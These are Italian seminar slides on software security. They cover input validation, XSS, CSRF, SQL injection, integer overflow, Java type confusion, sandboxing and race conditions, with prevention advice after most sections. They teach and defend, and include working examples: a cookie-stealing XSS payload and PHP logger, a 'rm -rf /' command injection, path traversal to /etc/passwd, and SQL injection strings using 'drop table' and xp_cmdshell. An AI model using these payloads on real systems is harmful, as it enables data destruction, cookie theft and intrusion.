Seminario di Sicurezza SOFTWARE SECURITY Studente: Valentina Mancinelli Software Security ● ● Software sicuro Convalida dell'input - codifica dell'input - canonicalizzazione - scripting - XSS - Sql injection ● Problemi dell'astrazione - Integer overflow - Java e Type Confusion ● ● Race condition Prevenzione Software Security In una macchina “stand-alone” si è in pieno controllo dell'input e dei flussi di dati tra le applicazioni ● In una macchina connessa a internet applicazioni per il networking prendono input dalla rete ● Dunque eventuali attaccanti possono fornire input alle applicazioni del nostro sistema ● Software Security Un software è SICURO se può gestire input forniti intenzionalmente in maniera malformata garantire l'integrità del funzionamento del sistema in tal caso Fare software sicuro non vuol dire aggiungere funzionalità di sicurezza a software non sicuro Software Security Sicurezza e affidabilità di un software sono legati ma non sono la stessa cosa. Affidabilità si basa su errori accidentali, provocati da un utilizzo ( input ) “tipico” dell'applicazione Sicurezza riguarda attacchi intenzionali, provocati da una generazione di input decisa dall'attaccante Input MAI FIDARSI DELL'INPUT!! Convalida dell'input ● ● ● ● Un applicazione vuole dare accesso agli utenti solo ai file contenuti nella directory A/B/C/. Gli utenti inseriscono il nome del file come input, indirizzo completo costruito come A/B/C/input. Attacco: usando ../ per risalire alla root posso avere accesso a qualsiasi file ad esempio con l'input: /../../../../etc/passwd. Contromisure: input validation, filtrare l'input e non accettare i caratteri ../ (ma non è così semplice). Codifica dell'input UTF-8 (Unicode Transformation Format, 8 bit) è una codifica dei caratteri Unicode in sequenze di lunghezza variabile di byte: Unicode UTF-8 0x000000 - 0x00007F iniziano 0xxxxxxx Caratteri equivalenti al codice con 0 0x000080 - 0x0007FF 110xxxxx 10xxxxxx 0x000800 - 0x00FFFF 1110xxxx 10xxxxxx 10xxxxxx 0x010000 - 0x10FFFF 11110xxx 10xxxxxx 10xxxxxx 10xxxxxx ASCII; I byte Codifica dell'input Se un sistema accetta piu formati UTF-8 --> un carattere può avere piu di una rappresentazione Esempio: “/” format binary hex 1 byte 0xxx xxxx 0010 1111 2F 2 byte 110x xxxx 1100 0000 C0 10xx xxxx 1010 1111 AF 3 byte 1110 xxxx 1110 0000 E0 10xx xxxx 10 00 0000 80 10xx xxxx 1010 1111 AF Canonicalization Nomi utilizzati per l'astrazione di entità (nodi, utenti, risorse) Utilizzati per definizione di regole di sicurezza ( es. nei firewall) Problemi se un entità ha piu di un nome o quando nomi hanno piu rappresentazioni ES: File Name: c:\x\data = c:\y\z\..\..\x\data = c:\y\z\%2e%2e\%2e%2e\x\data IP: a.b.c.d = a * 224 + b*216 + c * 28 + d Link simbolici Case sensitive MyLongFile.txt mylongfile.txt. MyLong~1.txt MyLongFile.txt::$DATA Un attaccante può utilizzare queste alternative che possono non essere state considerate per cercare di aggirare le regole di sicurezza Canonicalizzazione Caso Napster, vietare la condivisione di canzoni con copyright Ma sono gli utenti a decidere quali nomi hanno lo stesso significato Canonicalization CANONICALIZZAZIONE: Si tratta di un processo mediante il quale viene determinato come risolvere diverse forme equivalenti di un nome in un unico nome standard, detto anche nome canonico ● ● ● Usare espressioni regolari per validare l'input Usare pathname completi invece che sistemi che li generano automaticamente da path relativi Non prendere decisioni basate sui nomi di livello Applicazione ma usare i sistemi di controllo degli accessi del sistema operativo ESEMPIO <script language="C#" runat="server"> void Application_BeginRequest(object source, EventArgs e) { if (Request.Path.IndexOf('\\') >= 0 || System.IO.Path.GetFullPath(Request.PhysicalPath) != Request.PhysicalPath) { throw new HttpException(404, "not found"); } } </script> Scripting Linguaggi di scripting sono linguaggi interpretati, comunemente usati per applicazioni Web (Perl, PHP, Python ... ) CGI = traduce URLs o form html in programmi eseguibili Programmi eseguiti con l'user identity del web server Puo invocare applicazioni come SSIs (servver side includes – con comandi di sistema) Scripting In linguaggi di scripting possono essere passati come argomenti anche degli eseguibili Per esempio: Uno script CGI per inviare email all'indirizzo mail di un cliente preso come argomento cat file | mail clientaddress Passando to@me | rm -rf / as input per l'argomento client address il server eseguirà cat file | mail to@me | rm -rf / Dopo l'invio del file, tutti i file vengono cancellati se lo script ha i diritti per farlo. Attacchi XSS Cross site scripting (XSS) si verifica quanso un applicazione web riceve dati maligni da un utente. I dati sono in genere ricevuti attraverso la forma di hyperlink che contengono contenuto maligno (script). Colpisce pagine web dinamiche e non che utilizzano linguaggi di scripting Tecnica dell'injection, attraverso una vulnerabilità della pagina web l'attaccante inserisce codice malevolo nel codice che verà poi inviato all'utente bersagli siti che trascurano completamente la validazione delle informazioni passate in input al sito dagli utenti Attacco inviato tramite l'url (link) Attacchi XSS Esempio (semplice furto di Cookie) <?php $cookie = $_GET['c']; $ip = getenv ('REMOTE_ADDR'); $date=date("j F, Y, g:i a"); $referer=getenv ('HTTP_REFERER'); $fp = fopen('file.txt', 'a'); fwrite($fp, 'Cookie: '.$cookie.'<br> IP: ' .$ip. '<br> Date and Time: ' .$date. '<br> Referer: '.$referer.'<br><br><br>'); fclose($fp); ?> Come faccio a farlo eseguire dalla vittima? Attacchi XSS Basta trovare un applicazione web vulnerabile in cui inserirlo Posso usare: ● Forum ● Blog ● Email Codice da inserire nella vulnerabilità <script>document.location="http://yoursite.com/leggo-cookie.php? cookie="+document.cookie+";</script> Attacchi XSS ● Semplice message board vulnerabile <form action="<? echo $PHP_SELF; ?>"> <input type="text" name="message"> <input type="submit"> </form> <? if (!empty($_GET['message'])) { $fp = fopen('./messages.txt', 'a'); fwrite($fp, "{$_GET['message']}<br>"); fclose($fp); } readfile('./messages.txt'); ?> ● Semplice message board piu sicura <form action="<? echo $PHP_SELF; ?>"> <input type="text" name="message"> <input type="submit"> </form> <? if (!empty($_GET['message'])) { $fp = fopen('./safer.txt', 'a'); $msg = htmlentities($_GET['message']); fwrite($fp, "$msg<br>"); fclose($fp); } readfile('./safer.txt'); ?> Htmlentities trasforma tutti i caratteri < > & " (doppi apici) rispettivamente nell'equivalente simbolico html: < > & " In questo modo si dà il corretto significato ai caratteri "<", ">" e si impedisce che il browser li interpreti come tag html Attacchi XSS Prevenzione - controllo tipo di dato. Se per esempio ci aspettiamo un dato numerico per fare un certo calcolo, dobbiamo controllare che effettivamente ci arrivi un numero - controllare anche il "range" di validità del numero per evitare numeri troppo grossi o troppo piccoli che potrebbero fare andare in overflow - filtrare il contenuto dell'input in modo da impedire che TAG HTML (inseriti involontariamente o maliziosamente) possano finire nella nostra pagina modificandone la formattazione o il comportamento (effettuare l'escape dei caratteri) es. PHP: htmlentities(), strip_tags(), utf8_decode() Attacchi CSRF Cross-site request forgery: richieste non autorizzate inviate a un website da un utente di cui si fida. Sfrutta la fiducia di un website verso un utente (browser). Sfrutta i cookie per avere una sessione valida con il website che vuole attaccare Banca Bob Richieste di immagini funzionano allo stesso modo di una richiesta di qualsiasi altro URL Sito mallory <img src="http://bank.example/withdraw?account=bob&amount=1000000&f or=mallory"> Attacchi CSRF ● Prevenzione - Limitare il tempo di validità dei cookie di autenticazione - Controllare l' HTTP Refer header - Disattivare la funzione register_globals e usare $_POST - Utilizzare POST invece che GET SQL injection La SQL injection è una tecnica dell'hacking mirata a colpire le applicazioni web che si appoggiano su un database di tipo SQL. Questo exploit sfrutta l'inefficienza dei controlli sui dati ricevuti in input ed inserisce codice maligno all'interno di una query SQL SQL injection "select * from customers where companyname like ' " + TextBox1.Text + "' " Un utente del web che dovesse cercare "Carlo" causerebbe l'esecuzione della query: "select * from customers where companyname like 'Carlo' " Lo sviluppatore web non ha purtroppo validato il contenuto della TextBox e un hacker potrebbe sfruttare questa vulnerabilità semplicemente inserendo nella casella di testo la stringa: " ' or 'a' like 'a " "select * from customers where companyname like '' or 'a' like 'a' " SQL Injection select * from customers where companyname like '' or 'a' like 'a'; drop table customers --- fanno si che tutto quello che viene dopo sia visto come commento, e non verrà dunque eseguito i DBMS hanno tabelle che contengono la descrizione del database, visualizzandole un attaccante ha accesso a tutta la struttura "' ; select * from sys.tables -- " es. sys.tables per ACCES information_schema per MySql ’; exec master..xp cmdshell ‘notepad.exe’-- MS-SQL permette di eseguire comandi, eseguiti come utente dbms con gli stessi diritti. Prevenzione ● Escaping dei caratteri potenzialmente dannosi; ● Filtraggio dei dati mediante regular expressions; ● Controllo del tipo di dato ricevuto ed eventuale casting; ● Evitare la visualizzazione dei messaggi d'errore all'utente Microsoft OLE DB Provider for ODBC Drivers error ‘80040e14’ [Microsoft][ODBC SQL Server Driver] [SQL Server]Column ‘utenti.ID’ is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause. L'attaccante può avere informazioni sulla struttura del database, facilitando gli attacchi blind ● Vietare la possibilità di eseguire la procedura exec cmdshell Prevenzione SSL e altri meccanismi di sicurezza della comunicazione non proteggono dagli attacchi di injection sfruttano l'input SSL non farebbe altro che far viaggiare in “maniera sicura” l'attacco inviato tramite input Espressioni Regolari nome: [a-zA-Zàòèéùì]* cognome: [a-zA-Zàòèéùì’ ]+ email: [a-zA-Z0-9_\.]+@[a-zA-Z0-9-]+\.[a-zA-Z]{0,4} numero di telefono: [0-9]+\-[0-9]+ Problemi di astrazione ● ● Si verificano quando l'implementazione concreta e la versione teorica di un problema divergono In matemarica gli interi sono un insieme infinito. In un computer gli interi sono rapresentati da una stringa di binari con una lunghezza fissata (precisione) ---> numero finito di integer Integer Overflow ● ● Se il risultato di un calcolo diventa piu grande della rappresentazione scelta si verifica un carry overflow: Unsigned 8-bit integers 255 + 1 = 0 0 – 1 = 255 ● 16 17 = 16 Signed 8-bit integers 127 + 1 = -128 -128/-1 = -1 ● In matematica: a + b> a per b >0 ● Nella rappresentazione integer questo non è sempre vero. Integer Overflow char buf[128]; combine(char *s1, size_t len1, char *s2, size_t len2) { if (len1 + len2 + 1 <= sizeof(buf)) { strncpy(buf, s1, len1); strncat(buf, s2, len2); } } In un sistema a 32-bit un attaccante può fissare len2 = 0xffffffff e strncat sarà eseguita perchè len1 + 0xffffffff + 1 == len1 < sizeof(buf) Type safety Type safety (memory safety): programmi non possono accedere alla memoria in modo inappropriato - Ogni oggetto in Java ha una classe; solo determinate operazioni sono autorizzate a manipolare gli oggetti di una classe - Ogni oggetto nella memoria è etichettato con il tag della classe - Quando un programma Java ha il riferimento a un oggetto ha un puntatore alla memoria che contiene l'oggetto - Il puntatore può essere visto come taggato con un tipo, che specifica che tipo di oggetto fa riferimento il puntatore (e le azioni autorizzate) Type confusion ● ● ● ● Con un check dinamico il class tag viene controllato quando è richiesto l'accesso all'oggetto Con un check statico vengono controllate tutte le possibili esecuzioni del programma per vedere se può esserci una violazione di tipo Se c'è un errore nel controllo del tipo un'applet maligna potrebbe riuscire a effettuare un attacco di Type Confusion, creando due puntatori allo stesso oggetto con tag non compatibili Con questo tipo di attacco posso accedere a un oggetto compiendo operazioni in origine non permesse Type Confusion Grazie alla classe myobject e al type confusion posso accedere alle risorse dell'oggetto securitymanager ridefinendo i metodi di accesso e modifica class T { SecurityManager x; } class U { MyObject x; } T t = the pointer tagged T; U u = the pointer tagged U; t.x = System. getSecurity (); MyObject m = u.x; class definitions malicious applet Type confusion t type T object 1 u type U v type V object 2 … Reference Table memory Type Confusion Sandbox Un sandbox è un meccanismo di sicurezza per separare l'esecuzione dei programmi. Viene spesso usato per eseguire codice non testato o programmi non trusted Un sandbox generalmente fornisce un set di risorse strettamente controllato in cui far girare i programmi, come ad esempio uno spazio di lavoro separato nel disco e nella memoria. In genere vengono disabilitati o ristretti: - l'accesso alla rete - la possibilità di ispezionare il sistema host - la lettura di input da determinati dispositivi Sandbox ● ● ● ● Applet – sono programmi che vengono esegioti all'interno della virtual machine o dell'interprete che si svolgono la funzione di sandbox. L'applet viene scaricata nel client remoto ed eseguito con meccanismi di esecuzione di codice non sicuro Macchine virtuali emulano completamente un computer host,viene caricato un sistema operativo che opera come se avesse hardware reale, potendo accedere però alle risorse soltanto attraverso l'emulatore Jail (gabbia) è un set di limiti sulle risorse imposte ai programmi dal kernel del sistema operativo. - capacità di banda di I/O - quote di spazio su disco - restrizioni sull'accesso alla rete - un filesystem namespace ristretto Sandboxing può essere usato per testare gli effetti di malware, replicando il comportamento del sistema e eseguendo codice malevolo per valutare quanto può compromettere l'host Race Condition Una Race Condition si verifica quando un programma non si comporta come dovrebbe a causa di un ordine inaspettato di eventi che produce una contesa di risorse. - Tra thread dello stesso programma - Tra piu programmi Contesa su: - variabili - file - ... Race Condition ● Esempio concreto /tmp/datafile Programma con diritti ROOT ... if(access("/tmp/datafile" ,R_OK)==0){ fd=open("/tmp/da tafile process(fd); close(fd); ... ... HACKER ok Race Condition ● Esempio concreto Programma con diritti ROOT ... if(access("/tmp/datafile" ,R_OK)==0){ fd=open("/tmp/da tafile process(fd); close(fd); ... ... HACKER cancella /tmp/datafile link simbolico /etc/shadow Prevention ● ● ● ● Usare lock sui file Non usare access(), settare i diritti al programma e provare open() (operazione atomica) Creare file con le modalità O_CREAT | O_EXCL assicura che la chiamata ha successo solo se viene creato un nuovo file Usare umask e limitare gli accessi iniziali char *; int fd; do { filename = tempnam (NULL, "foo"); fd = open (filename, O_CREAT | O_EXCL | O_TRUNC | O_RDWR, 0600); free (filename); } while (fd == -1); Prevention ● Per operazioni sulle meta-informazione di file usare funzioni che prendono il descrittore del file e non il nome (che può essere modificato durante l'esecuzione: fchown( ), fstat( ), or fchmod( ) chmod() ● system calls, invece che chown(), chgrp(), and Aumentare le “race”, effettuare il controllo piu volte, un attaccante deve vincere tutti i controlli per sfruttare la vulnerabilità ● ● Utilizzare privilegi di root solo quando strettamente necessario Fare attenzione se si usano cartelle condivise (/tmp, /var/tmp), assicurarsi che lo sticky bit sia settato Conclusioni Prevenire attraverso: - soluzioni hardware - linguaggi type safety - utilizzare funzioni sicure (C, php, ...) - effettuare test del codice - gestire i privilegi in maniera adeguata (least privilege) - mantenere aggiornato il sistema